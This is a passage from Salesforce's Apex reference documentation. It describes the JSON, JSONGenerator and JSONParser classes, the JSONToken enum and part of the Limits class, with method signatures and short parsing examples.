String jsonInput = '{\n' +
' "description" :"An appliance",\n' +
' "accessories" : [ "powerCord", ' +
'{ "right":"door handle1", ' +
'"left":"door handle2" } ],\n' +
' "dimensions" : ' +
'{ "height" : 5.5 , ' +
'"width" : 3.0 , ' +
'"depth" : 2.2 },\n' +
' "type" : null,\n' +
' "inventory" : 2000,\n' +
' "price" : 1023.45,\n' +
' "isShipped" : true,\n' +
' "modelNumber" : "123"\n' +
'}';
Map<String, Object> m =
(Map<String, Object>)

2135

Reference

JSON Class

JSON.deserializeUntyped(jsonInput);
System.assertEquals(
'An appliance', m.get('description'));
List<Object> a =
(List<Object>)m.get('accessories');
System.assertEquals('powerCord', a[0]);
Map<String, Object> a2 =
(Map<String, Object>)a[1];
System.assertEquals(
'door handle1', a2.get('right'));
System.assertEquals(
'door handle2', a2.get('left'));
Map<String, Object> dim =
(Map<String, Object>)m.get('dimensions');
System.assertEquals(
5.5, dim.get('height'));
System.assertEquals(
3.0, dim.get('width'));
System.assertEquals(
2.2, dim.get('depth'));
System.assertEquals(null, m.get('type'));
System.assertEquals(
2000, m.get('inventory'));
System.assertEquals(
1023.45, m.get('price'));
System.assertEquals(
true, m.get('isShipped'));
System.assertEquals(
'123', m.get('modelNumber'));

serialize(objectToSerialize)
Serializes Apex objects into JSON content.

Signature
public static String serialize(Object objectToSerialize)

Parameters
objectToSerialize

Type: Object
The Apex object to serialize.

Return Value
Type: String

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Reference

JSON Class

Example
The following example serializes a new Datetime value.
Datetime dt = Datetime.newInstance(
Date.newInstance(
2011, 3, 22),
Time.newInstance(
1, 15, 18, 0));
String str = JSON.serialize(dt);
System.assertEquals(
'"2011-03-22T08:15:18.000Z"',
str);

serialize(objectToSerialize, suppressApexObjectNulls)
Suppresses null values when serializing Apex objects into JSON content.

Signature
public static String serialize(Object objectToSerialize, Boolean suppressApexObjectNulls)

Parameters
objectToSerialize

Type: Object
The Apex object to serialize.
suppressApexObjectNulls

Type: Boolean
If true, remove null values before serializing the JSON object.

Return Value
Type: String

Usage
This method allows you to specify whether to suppress null values when serializing Apex objects into JSON content.

serializePretty(objectToSerialize)
Serializes Apex objects into JSON content and generates indented content using the pretty-print format.

Signature
public static String serializePretty(Object objectToSerialize)

Parameters
objectToSerialize

Type: Object

2137

Reference

JSONGenerator Class

The Apex object to serialize.

Return Value
Type: String

serializePretty(objectToSerialize, suppressApexObjectNulls)
Suppresses null values when serializing Apex objects into JSON content and generates indented content using the pretty-print format.

Signature
public static String serializePretty(Object objectToSerialize, Boolean
suppressApexObjectNulls)

Parameters
objectToSerialize

Type: Object
The Apex object to serialize.
suppressApexObjectNulls

Type: Boolean
If true, remove null values before serializing the JSON object.

Return Value
Type: String

JSONGenerator Class
Contains methods used to serialize objects into JSON content using the standard JSON encoding.

Namespace
System

Usage
The System.JSONGenerator class is provided to enable the generation of standard JSON-encoded content and gives you more
control on the structure of the JSON output.
SEE ALSO:
JSON Generator

JSONGenerator Methods
The following are methods for JSONGenerator. All are instance methods.

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IN THIS SECTION:
close()
Closes the JSON generator.
getAsString()
Returns the generated JSON content.
isClosed()
Returns true if the JSON generator is closed; otherwise, returns false.
writeBlob(blobValue)
Writes the specified Blob value as a base64-encoded string.
writeBlobField(fieldName, blobValue)
Writes a field name and value pair using the specified field name and BLOB value.
writeBoolean(blobValue)
Writes the specified Boolean value.
writeBooleanField(fieldName, booleanValue)
Writes a field name and value pair using the specified field name and Boolean value.
writeDate(dateValue)
Writes the specified date value in the ISO-8601 format.
writeDateField(fieldName, dateValue)
Writes a field name and value pair using the specified field name and date value. The date value is written in the ISO-8601 format.
writeDateTime(datetimeValue)
Writes the specified date and time value in the ISO-8601 format.
writeDateTimeField(fieldName, datetimeValue)
Writes a field name and value pair using the specified field name and date and time value. The date and time value is written in the
ISO-8601 format.
writeEndArray()
Writes the ending marker of a JSON array (']').
writeEndObject()
Writes the ending marker of a JSON object ('}').
writeFieldName(fieldName)
Writes a field name.
writeId(identifier)
Writes the specified ID value.
writeIdField(fieldName, identifier)
Writes a field name and value pair using the specified field name and identifier value.
writeNull()
Writes the JSON null literal value.
writeNullField(fieldName)
Writes a field name and value pair using the specified field name and the JSON null literal value.
writeNumber(number)
Writes the specified decimal value.

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JSONGenerator Class

writeNumber(number)
Writes the specified double value.
writeNumber(number)
Writes the specified integer value.
writeNumber(number)
Writes the specified long value.
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and decimal value.
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and double value.
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and integer value.
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and long value.
writeObject(anyObject)
Writes the specified Apex object in JSON format.
writeObjectField(fieldName, value)
Writes a field name and value pair using the specified field name and Apex object.
writeStartArray()
Writes the starting marker of a JSON array ('[').
writeStartObject()
Writes the starting marker of a JSON object ('{').
writeString(stringValue)
Writes the specified string value.
writeStringField(fieldName, stringValue)
Writes a field name and value pair using the specified field name and string value.
writeTime(timeValue)
Writes the specified time value in the ISO-8601 format.
writeTimeField(fieldName, timeValue)
Writes a field name and value pair using the specified field name and time value in the ISO-8601 format.

close()
Closes the JSON generator.

Signature
public Void close()

Return Value
Type: Void

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Reference

JSONGenerator Class

Usage
No more content can be written after the JSON generator is closed.

getAsString()
Returns the generated JSON content.

Signature
public String getAsString()

Return Value
Type: String

Usage
This method closes the JSON generator if it isn't closed already.

isClosed()
Returns true if the JSON generator is closed; otherwise, returns false.

Signature
public Boolean isClosed()

Return Value
Type: Boolean

writeBlob(blobValue)
Writes the specified Blob value as a base64-encoded string.

Signature
public Void writeBlob(Blob blobValue)

Parameters
blobValue

Type: Blob

Return Value
Type: Void

2141

Reference

JSONGenerator Class

writeBlobField(fieldName, blobValue)
Writes a field name and value pair using the specified field name and BLOB value.

Signature
public Void writeBlobField(String fieldName, Blob blobValue)

Parameters
fieldName

Type: String
blobValue

Type: Blob

Return Value
Type: Void

writeBoolean(blobValue)
Writes the specified Boolean value.

Signature
public Void writeBoolean(Boolean blobValue)

Parameters
blobValue

Type: Boolean

Return Value
Type: Void

writeBooleanField(fieldName, booleanValue)
Writes a field name and value pair using the specified field name and Boolean value.

Signature
public Void writeBooleanField(String fieldName, Boolean booleanValue)

Parameters
fieldName

Type: String
booleanValue

Type: Boolean

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Reference

JSONGenerator Class

Return Value
Type: Void

writeDate(dateValue)
Writes the specified date value in the ISO-8601 format.

Signature
public Void writeDate(Date dateValue)

Parameters
dateValue

Type: Date

Return Value
Type: Void

writeDateField(fieldName, dateValue)
Writes a field name and value pair using the specified field name and date value. The date value is written in the ISO-8601 format.

Signature
public Void writeDateField(String fieldName, Date dateValue)

Parameters
fieldName

Type: String
dateValue

Type: Date

Return Value
Type: Void

writeDateTime(datetimeValue)
Writes the specified date and time value in the ISO-8601 format.

Signature
public Void writeDateTime(Datetime datetimeValue)

2143

Reference

JSONGenerator Class

Parameters
datetimeValue

Type: Datetime

Return Value
Type: Void

writeDateTimeField(fieldName, datetimeValue)
Writes a field name and value pair using the specified field name and date and time value. The date and time value is written in the
ISO-8601 format.

Signature
public Void writeDateTimeField(String fieldName, Datetime datetimeValue)

Parameters
fieldName

Type: String
datetimeValue

Type: Datetime

Return Value
Type: Void

writeEndArray()
Writes the ending marker of a JSON array (']').

Signature
public Void writeEndArray()

Return Value
Type: Void

writeEndObject()
Writes the ending marker of a JSON object ('}').

Signature
public Void writeEndObject()

2144

Reference

JSONGenerator Class

Return Value
Type: Void

writeFieldName(fieldName)
Writes a field name.

Signature
public Void writeFieldName(String fieldName)

Parameters
fieldName

Type: String

Return Value
Type: Void

writeId(identifier)
Writes the specified ID value.

Signature
public Void writeId(ID identifier)

Parameters
identifier

Type: ID

Return Value
Type: Void

writeIdField(fieldName, identifier)
Writes a field name and value pair using the specified field name and identifier value.

Signature
public Void writeIdField(String fieldName, Id identifier)

Parameters
fieldName

Type: String

2145

Reference

JSONGenerator Class

identifier

Type: ID

Return Value
Type: Void

writeNull()
Writes the JSON null literal value.

Signature
public Void writeNull()

Return Value
Type: Void

writeNullField(fieldName)
Writes a field name and value pair using the specified field name and the JSON null literal value.

Signature
public Void writeNullField(String fieldName)

Parameters
fieldName

Type: String

Return Value
Type: Void

writeNumber(number)
Writes the specified decimal value.

Signature
public Void writeNumber(Decimal number)

Parameters
number

Type: Decimal

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Reference

JSONGenerator Class

Return Value
Type: Void

writeNumber(number)
Writes the specified double value.

Signature
public Void writeNumber(Double number)

Parameters
number

Type: Double

Return Value
Type: Void

writeNumber(number)
Writes the specified integer value.

Signature
public Void writeNumber(Integer number)

Parameters
number

Type: Integer

Return Value
Type: Void

writeNumber(number)
Writes the specified long value.

Signature
public Void writeNumber(Long number)

Parameters
number

Type: Long

2147

Reference

JSONGenerator Class

Return Value
Type: Void

writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and decimal value.

Signature
public Void writeNumberField(String fieldName, Decimal number)

Parameters
fieldName

Type: String
number

Type: Decimal

Return Value
Type: Void

writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and double value.

Signature
public Void writeNumberField(String fieldName, Double number)

Parameters
fieldName

Type: String
number

Type: Double

Return Value
Type: Void

writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and integer value.

Signature
public Void writeNumberField(String fieldName, Integer number)

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Reference

JSONGenerator Class

Parameters
fieldName

Type: String
number

Type: Integer

Return Value
Type: Void

writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and long value.

Signature
public Void writeNumberField(String fieldName, Long number)

Parameters
fieldName

Type: String
number

Type: Long

Return Value
Type: Void

writeObject(anyObject)
Writes the specified Apex object in JSON format.

Signature
public Void writeObject(Object anyObject)

Parameters
anyObject

Type: Object

Return Value
Type: Void

writeObjectField(fieldName, value)
Writes a field name and value pair using the specified field name and Apex object.

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Reference

JSONGenerator Class

Signature
public Void writeObjectField(String fieldName, Object value)

Parameters
fieldName

Type: String
value

Type: Object

Return Value
Type: Void

writeStartArray()
Writes the starting marker of a JSON array ('[').

Signature
public Void writeStartArray()

Return Value
Type: Void

writeStartObject()
Writes the starting marker of a JSON object ('{').

Signature
public Void writeStartObject()

Return Value
Type: Void

writeString(stringValue)
Writes the specified string value.

Signature
public Void writeString(String stringValue)

Parameters
stringValue

Type: String

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Reference

JSONGenerator Class

Return Value
Type: Void

writeStringField(fieldName, stringValue)
Writes a field name and value pair using the specified field name and string value.

Signature
public Void writeStringField(String fieldName, String stringValue)

Parameters
fieldName

Type: String
stringValue

Type: String

Return Value
Type: Void

writeTime(timeValue)
Writes the specified time value in the ISO-8601 format.

Signature
public Void writeTime(Time timeValue)

Parameters
timeValue

Type: Time

Return Value
Type: Void

writeTimeField(fieldName, timeValue)
Writes a field name and value pair using the specified field name and time value in the ISO-8601 format.

Signature
public Void writeTimeField(String fieldName, Time timeValue)

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Reference

JSONParser Class

Parameters
fieldName

Type: String
timeValue

Type: Time

Return Value
Type: Void

JSONParser Class
Represents a parser for JSON-encoded content.

Namespace
System

Usage
Use the System.JSONParser methods to parse a response that's returned from a call to an external service that is in JSON format,
such as a JSON-encoded response of a Web service callout.
SEE ALSO:
JSON Parsing

JSONParser Methods
The following are methods for JSONParser. All are instance methods.
IN THIS SECTION:
clearCurrentToken()
Removes the current token.
getBlobValue()
Returns the current token as a BLOB value.
getBooleanValue()
Returns the current token as a Boolean value.
getCurrentName()
Returns the name associated with the current token.
getCurrentToken()
Returns the token that the parser currently points to or null if there's no current token.
getDatetimeValue()
Returns the current token as a date and time value.

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Reference

JSONParser Class

getDateValue()
Returns the current token as a date value.
getDecimalValue()
Returns the current token as a decimal value.
getDoubleValue()
Returns the current token as a double value.
getIdValue()
Returns the current token as an ID value.
getIntegerValue()
Returns the current token as an integer value.
getLastClearedToken()
Returns the last token that was cleared by the clearCurrentToken method.
getLongValue()
Returns the current token as a long value.
getText()
Returns the textual representation of the current token or null if there's no current token.
getTimeValue()
Returns the current token as a time value.
hasCurrentToken()
Returns true if the parser currently points to a token; otherwise, returns false.
nextToken()
Returns the next token or null if the parser has reached the end of the input stream.
nextValue()
Returns the next token that is a value type or null if the parser has reached the end of the input stream.
readValueAs(apexType)
Deserializes JSON content into an object of the specified Apex type and returns the deserialized object.
readValueAsStrict(apexType)
Deserializes JSON content into an object of the specified Apex type and returns the deserialized object. All attributes in the JSON
content must be present in the specified type.
skipChildren()
Skips all child tokens of type JSONToken.START_ARRAY and JSONToken.START_OBJECT that the parser currently
points to.

clearCurrentToken()
Removes the current token.

Signature
public Void clearCurrentToken()

2153

Reference

JSONParser Class

Return Value
Type: Void

Usage
After this method is called, a call to hasCurrentToken returns false and a call to getCurrentToken returns null. You
can retrieve the cleared token by calling getLastClearedToken.

getBlobValue()
Returns the current token as a BLOB value.

Signature
public Blob getBlobValue()

Return Value
Type: Blob

Usage
The current token must be of type JSONToken.VALUE_STRING and must be Base64-encoded.

getBooleanValue()
Returns the current token as a Boolean value.

Signature
public Boolean getBooleanValue()

Return Value
Type: Boolean

Usage
The current token must be of type JSONToken.VALUE_TRUE or JSONToken.VALUE_FALSE.
The following example parses a sample JSON string and retrieves a Boolean value.
String JSONContent =
'{"isActive":true}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the Boolean value.
Boolean isActive = parser.getBooleanValue();

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Reference

JSONParser Class

getCurrentName()
Returns the name associated with the current token.

Signature
public String getCurrentName()

Return Value
Type: String

Usage
If the current token is of type JSONToken.FIELD_NAME, this method returns the same value as getText. If the current token is
a value, this method returns the field name that precedes this token. For other values such as array values or root-level values, this method
returns null.
The following example parses a sample JSON string. It advances to the field value and retrieves its corresponding field name.

Example
String JSONContent = '{"firstName":"John"}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the field name for the current value.
String fieldName = parser.getCurrentName();
// Get the textual representation
// of the value.
String fieldValue = parser.getText();

getCurrentToken()
Returns the token that the parser currently points to or null if there's no current token.

Signature
public System.JSONToken getCurrentToken()

Return Value
Type: System.JSONToken

Usage
The following example iterates through all the tokens in a sample JSON string.
String JSONContent = '{"firstName":"John"}';
JSONParser parser =

2155

Reference

JSONParser Class

JSON.createParser(JSONContent);
// Advance to the next token.
while (parser.nextToken() != null) {
System.debug('Current token: ' +
parser.getCurrentToken());
}

getDatetimeValue()
Returns the current token as a date and time value.

Signature
public Datetime getDatetimeValue()

Return Value
Type: Datetime

Usage
The current token must be of type JSONToken.VALUE_STRING and must represent a Datetime value in the ISO-8601 format.
The following example parses a sample JSON string and retrieves a Datetime value.
String JSONContent =
'{"transactionDate":"2011-03-22T13:01:23"}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the transaction date.
Datetime transactionDate =
parser.getDatetimeValue();

getDateValue()
Returns the current token as a date value.

Signature
public Date getDateValue()

Return Value
Type: Date

Usage
The current token must be of type JSONToken.VALUE_STRING and must represent a Date value in the ISO-8601 format.

2156

Reference

JSONParser Class

The following example parses a sample JSON string and retrieves a Date value.
String JSONContent =
'{"dateOfBirth":"2011-03-22"}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the date of birth.
Date dob = parser.getDateValue();

getDecimalValue()
Returns the current token as a decimal value.

Signature
public Decimal getDecimalValue()

Return Value
Type: Decimal

Usage
The current token must be of type JSONToken.VALUE_NUMBER_FLOAT or JSONToken.VALUE_NUMBER_INT and is a
numerical value that can be converted to a value of type Decimal.
The following example parses a sample JSON string and retrieves a Decimal value.
String JSONContent =
'{"GPA":3.8}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the GPA score.
Decimal gpa = parser.getDecimalValue();

getDoubleValue()
Returns the current token as a double value.

Signature
public Double getDoubleValue()

2157

Reference

JSONParser Class

Return Value
Type: Double

Usage
The current token must be of type JSONToken.VALUE_NUMBER_FLOAT and is a numerical value that can be converted to a
value of type Double.
The following example parses a sample JSON string and retrieves a Double value.
String JSONContent =
'{"GPA":3.8}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the GPA score.
Double gpa = parser.getDoubleValue();

getIdValue()
Returns the current token as an ID value.

Signature
public ID getIdValue()

Return Value
Type: ID

Usage
The current token must be of type JSONToken.VALUE_STRING and must be a valid ID.
The following example parses a sample JSON string and retrieves an ID value.
String JSONContent =
'{"recordId":"001R0000002nO6H"}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the record ID.
ID recordID = parser.getIdValue();

getIntegerValue()
Returns the current token as an integer value.

2158

Reference

JSONParser Class

Signature
public Integer getIntegerValue()

Return Value
Type: Integer

Usage
The current token must be of type JSONToken.VALUE_NUMBER_INT and must represent an Integer.
The following example parses a sample JSON string and retrieves an Integer value.
String JSONContent =
'{"recordCount":10}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the record count.
Integer count = parser.getIntegerValue();

getLastClearedToken()
Returns the last token that was cleared by the clearCurrentToken method.

Signature
public System.JSONToken getLastClearedToken()

Return Value
Type: System.JSONToken

getLongValue()
Returns the current token as a long value.

Signature
public Long getLongValue()

Return Value
Type: Long

Usage
The current token must be of type JSONToken.VALUE_NUMBER_INT and is a numerical value that can be converted to a value
of type Long .

2159

Reference

JSONParser Class

The following example parses a sample JSON string and retrieves a Long value.
String JSONContent =
'{"recordCount":2097531021}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the record count.
Long count = parser.getLongValue();

getText()
Returns the textual representation of the current token or null if there's no current token.

Signature
public String getText()

Return Value
Type: String

Usage
No current token exists, and therefore this method returns null, if nextToken has not been called yet for the first time or if the
parser has reached the end of the input stream.

getTimeValue()
Returns the current token as a time value.

Signature
public Time getTimeValue()

Return Value
Type: Time

Usage
The current token must be of type JSONToken.VALUE_STRING and must represent a Time value in the ISO-8601 format.
The following example parses a sample JSON string and retrieves a Datetime value.
String JSONContent =
'{"arrivalTime":"18:05"}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.

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Reference

JSONParser Class

parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the arrival time.
Time arrivalTime = parser.getTimeValue();

hasCurrentToken()
Returns true if the parser currently points to a token; otherwise, returns false.

Signature
public Boolean hasCurrentToken()

Return Value
Type: Boolean

nextToken()
Returns the next token or null if the parser has reached the end of the input stream.

Signature
public System.JSONToken nextToken()

Return Value
Type: System.JSONToken

Usage
Advances the stream enough to determine the type of the next token, if any.

nextValue()
Returns the next token that is a value type or null if the parser has reached the end of the input stream.

Signature
public System.JSONToken nextValue()

Return Value
Type: System.JSONToken

Usage
Advances the stream enough to determine the type of the next token that is of a value type, if any, including a JSON array and object
start and end markers.

2161

Reference

JSONParser Class

readValueAs(apexType)
Deserializes JSON content into an object of the specified Apex type and returns the deserialized object.

Signature
public Object readValueAs(System.Type apexType)

Parameters
apexType

Type: System.Type
The apexType argument specifies the type of the object that this method returns after deserializing the current value.

Return Value
Type: Object

Example
The following example parses a sample JSON string and retrieves a Datetime value. Before being able to run this sample, you must create
a new Apex class as follows:
public class Person {
public String name;
public String phone;
}

Next, insert the following sample in a class method:

// JSON string that contains a Person object.
String JSONContent =
'{"person":{' +
'"name":"John Smith",' +
'"phone":"555-1212"}}';
JSONParser parser =
JSON.createParser(JSONContent);
// Make calls to nextToken()
// to point to the second
// start object marker.
parser.nextToken();
parser.nextToken();
parser.nextToken();
// Retrieve the Person object
// from the JSON string.

2162

Reference

JSONParser Class

Person obj =
(Person)parser.readValueAs(
Person.class);
System.assertEquals(
obj.name, 'John Smith');
System.assertEquals(
obj.phone, '555-1212');

readValueAsStrict(apexType)
Deserializes JSON content into an object of the specified Apex type and returns the deserialized object. All attributes in the JSON content
must be present in the specified type.

Signature
public Object readValueAsStrict(System.Type apexType)

Parameters
apexType

Type: System.Type
The apexType argument specifies the type of the object that this method returns after deserializing the current value.

Return Value
Type: Object

Usage
If the JSON content contains attributes not present in the System.Type argument, such as a missing field or object, deserialization
fails in some circumstances. When deserializing JSON content with extraneous attributes into an Apex class, this method throws an
exception in all API versions. However, no exception is thrown when you use this method to deserialize JSON content into a custom
object or an sObject.
The following example parses a sample JSON string and retrieves a Datetime value. Before being able to run this sample, you must create
a new Apex class as follows:
public class Person {
public String name;
public String phone;
}

Next, insert the following sample in a class method:

2163

Reference

JSONToken Enum

// start object marker.

parser.nextToken();
parser.nextToken();
parser.nextToken();
// Retrieve the Person object
// from the JSON string.
Person obj =
(Person)parser.readValueAsStrict(
Person.class);
System.assertEquals(
obj.name, 'John Smith');
System.assertEquals(
obj.phone, '555-1212');

skipChildren()
Skips all child tokens of type JSONToken.START_ARRAY and JSONToken.START_OBJECT that the parser currently points
to.

Signature
public Void skipChildren()

Return Value
Type: Void

JSONToken Enum
Contains all token values used for parsing JSON content.

Namespace
System
Enum Value

Description

END_ARRAY

The ending of an array value. This token is returned when ']' is

encountered.

END_OBJECT

The ending of an object value. This token is returned when '}' is

encountered.

FIELD_NAME

A string token that is a field name.

NOT_AVAILABLE

The requested token isn't available.

START_ARRAY

The start of an array value. This token is returned when '[' is

encountered.

START_OBJECT

The start of an object value. This token is returned when '{' is

encountered.

2164

Reference

Limits Class

Enum Value

Description

VALUE_EMBEDDED_OBJECT

An embedded object that isn't accessible as a typical object

structure that includes the start and end object tokens
START_OBJECT and END_OBJECT but is represented as a raw object.

VALUE_FALSE

The literal false value.

VALUE_NULL

The literal null value.

VALUE_NUMBER_FLOAT

A float value.

VALUE_NUMBER_INT

An integer value.

VALUE_STRING

A string value.

VALUE_TRUE

A value that corresponds to the true string literal.

Limits Class
Contains methods that return limit information for specific resources.

Namespace
System

Usage
The Limits methods return the specific limit for the particular governor, such as the number of calls of a method or the amount of heap
size remaining.
Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces a number of limits to ensure that runaway
Apex doesnt monopolize shared resources.
None of the Limits methods require an argument. The format of the limits methods is as follows:
myDMLLimit = Limits.getDMLStatements();

There are two versions of every method: the first returns the amount of the resource that has been used while the second version contains
the word limit and returns the total amount of the resource that is available.
See Execution Governors and Limits on page 273.

Limits Methods
The following are methods for Limits. All methods are static.
IN THIS SECTION:
getAggregateQueries()
Returns the number of aggregate queries that have been processed with any SOQL query statement.
getLimitAggregateQueries()
Returns the total number of aggregate queries that can be processed with SOQL query statements.

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Reference

Limits Class

getAsyncCalls()
Reserved for future use.
getLimitAsyncCalls()
Reserved for future use.
getCallouts()
Returns the number of Web service statements that have been processed.
getLimitCallouts()
Returns the total number of Web service statements that can be processed.
getChildRelationshipsDescribes()
Deprecated. Returns the number of child relationship objects that have been returned.
getLimitChildRelationshipsDescribes()
Deprecated. Returns the maximum number of child relationship objects that can be returned.
getCpuTime()
Returns the CPU time (in milliseconds) accumulated on the Salesforce servers in the current transaction.
getLimitCpuTime()
Returns the time limit (in milliseconds) of CPU usage in the current transaction.
getDMLRows()
Returns the number of records that have been processed with any statement that counts against DML limits, such as DML statements,
the Database.emptyRecycleBin method, and other methods.
getLimitDMLRows()
Returns the total number of records that can be processed with any statement that counts against DML limits, such as DML statements,
the database.EmptyRecycleBin method, and other methods.
getDMLStatements()
Returns the number of DML statements (such as insert, update or the database.EmptyRecycleBin method) that
have been called.
getLimitDMLStatements()
Returns the total number of DML statements or the database.EmptyRecycleBin methods that can be called.
getEmailInvocations()
Returns the number of email invocations (such as sendEmail) that have been called.
getLimitEmailInvocations()
Returns the total number of email invocation (such as sendEmail) that can be called.
getFieldsDescribes()
Deprecated. Returns the number of field describe calls that have been made.
getLimitFieldsDescribes()
Deprecated. Returns the maximum number of field describe calls that can be made.
getFieldSetsDescribes()
Deprecated. Returns the number of field set describe calls that have been made.
getLimitFieldSetsDescribes()
Deprecated. Returns the maximum number of field set describe calls that can be made.

2166

Reference

Limits Class

getFindSimilarCalls()
Deprecated. Returns the same value as getSoslQueries. The number of findSimilar methods is no longer a separate
limit, but is tracked as the number of SOSL queries issued.
getLimitFindSimilarCalls()
Deprecated. Returns the same value as getLimitSoslQueries. The number of findSimilar methods is no longer a
separate limit, but is tracked as the number of SOSL queries issued.
getFutureCalls()
Returns the number of methods with the future annotation that have been executed (not necessarily completed).
getLimitFutureCalls()
Returns the total number of methods with the future annotation that can be executed (not necessarily completed).
getHeapSize()
Returns the approximate amount of memory (in bytes) that has been used for the heap.
getLimitHeapSize()
Returns the total amount of memory (in bytes) that can be used for the heap.
getMobilePushApexCalls()
Returns the number of Apex calls that have been used by mobile push notifications during the current metering interval.
getLimitMobilePushApexCalls()
Returns the total number of Apex calls that are allowed per transaction for mobile push notifications.
getPicklistDescribes()
Deprecated. Returns the number of PicklistEntry objects that have been returned.
getLimitPicklistDescribes()
Deprecated. Returns the maximum number of PicklistEntry objects that can be returned.
getQueries()
Returns the number of SOQL queries that have been issued.
getLimitQueries()
Returns the total number of SOQL queries that can be issued.
getQueryLocatorRows()
Returns the number of records that have been returned by the Database.getQueryLocator method.
getLimitQueryLocatorRows()
Returns the total number of records that have been returned by the Database.getQueryLocator method.
getQueryRows()
Returns the number of records that have been returned by issuing SOQL queries.
getLimitQueryRows()
Returns the total number of records that can be returned by issuing SOQL queries.
getQueueableJobs()
Returns the number of queueable jobs that have been added to the queue per transaction. A queueable job corresponds to a class
that implements the Queueable interface.
getLimitQueueableJobs()
Returns the maximum number of queueable jobs that can be added to the queue per transaction. A queueable job corresponds to
a class that implements the Queueable interface.

2167

Reference

Limits Class

getRecordTypesDescribes()
Deprecated. Returns the number of RecordTypeInfo objects that have been returned.
getLimitRecordTypesDescribes()
Deprecated. Returns the maximum number of RecordTypeInfo objects that can be returned.
getRunAs()
Deprecated. Returns the same value as getDMLStatements.
getLimitRunAs()
Deprecated. Returns the same value as getLimitDMLStatements.
getSavepointRollbacks()
Deprecated. Returns the same value as getDMLStatements.
getLimitSavepointRollbacks()
Deprecated. Returns the same value as getLimitDMLStatements.
getSavepoints()
Deprecated. Returns the same value as getDMLStatements.
getLimitSavepoints()
Deprecated. Returns the same value as getLimitDMLStatements.
getScriptStatements()
Deprecated. Returns a value that is based on CPU time usage and that is an approximation of script statement usage.
getLimitScriptStatements()
Deprecated. Returns the maximum number of Apex statements that can execute.
getSoslQueries()
Returns the number of SOSL queries that have been issued.
getLimitSoslQueries()
Returns the total number of SOSL queries that can be issued.

getAggregateQueries()
Returns the number of aggregate queries that have been processed with any SOQL query statement.

Signature
public static Integer getAggregateQueries()

Return Value
Type: Integer

getLimitAggregateQueries()
Returns the total number of aggregate queries that can be processed with SOQL query statements.

Signature
public static Integer getLimitAggregateQueries()

2168

Reference

Limits Class

Return Value
Type: Integer

getAsyncCalls()
Reserved for future use.

Signature
public static Integer getAsyncCalls()

Return Value
Type: Integer

getLimitAsyncCalls()
Reserved for future use.

Signature
public static Integer getLimitAsyncCalls()

Return Value
Type: Integer

getCallouts()
Returns the number of Web service statements that have been processed.

Signature
public static Integer getCallouts()

Return Value
Type: Integer

getLimitCallouts()
Returns the total number of Web service statements that can be processed.

Signature
public static Integer getLimitCallouts()

Return Value
Type: Integer

2169

Reference

Limits Class

getChildRelationshipsDescribes()
Deprecated. Returns the number of child relationship objects that have been returned.

Signature
public static Integer getChildRelationshipsDescribes()

Return Value
Type: Integer

Usage
Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0
and earlier, this method is available but is deprecated.

getLimitChildRelationshipsDescribes()
Deprecated. Returns the maximum number of child relationship objects that can be returned.

Signature
public static Integer getLimitChildRelationshipsDescribes()

Return Value
Type: Integer

Usage
Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0
and earlier, this method is available but is deprecated.

getCpuTime()
Returns the CPU time (in milliseconds) accumulated on the Salesforce servers in the current transaction.

Signature
public static Integer getCpuTime()

Return Value
Type: Integer

getLimitCpuTime()
Returns the time limit (in milliseconds) of CPU usage in the current transaction.

2170

Reference

Limits Class

Signature
public static Integer getLimitCpuTime()

Return Value
Type: Integer

getDMLRows()
Returns the number of records that have been processed with any statement that counts against DML limits, such as DML statements,
the Database.emptyRecycleBin method, and other methods.

Signature
public static Integer getDMLRows()

Return Value
Type: Integer

getLimitDMLRows()
Returns the total number of records that can be processed with any statement that counts against DML limits, such as DML statements,
the database.EmptyRecycleBin method, and other methods.

Signature
public static Integer getLimitDMLRows()

Return Value
Type: Integer

getDMLStatements()
Returns the number of DML statements (such as insert, update or the database.EmptyRecycleBin method) that have
been called.

Signature
public static Integer getDMLStatements()

Return Value
Type: Integer

getLimitDMLStatements()
Returns the total number of DML statements or the database.EmptyRecycleBin methods that can be called.

2171

Reference

Limits Class

Signature
public static Integer getLimitDMLStatements()

Return Value
Type: Integer

getEmailInvocations()
Returns the number of email invocations (such as sendEmail) that have been called.

Signature
public static Integer getEmailInvocations()

Return Value
Type: Integer

getLimitEmailInvocations()
Returns the total number of email invocation (such as sendEmail) that can be called.

Signature
public static Integer getLimitEmailInvocations()

Return Value
Type: Integer

getFieldsDescribes()
Deprecated. Returns the number of field describe calls that have been made.

Signature
public static Integer getFieldsDescribes()

Return Value
Type: Integer

Usage
Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0
and earlier, this method is available but is deprecated.

2172

Reference

Limits Class

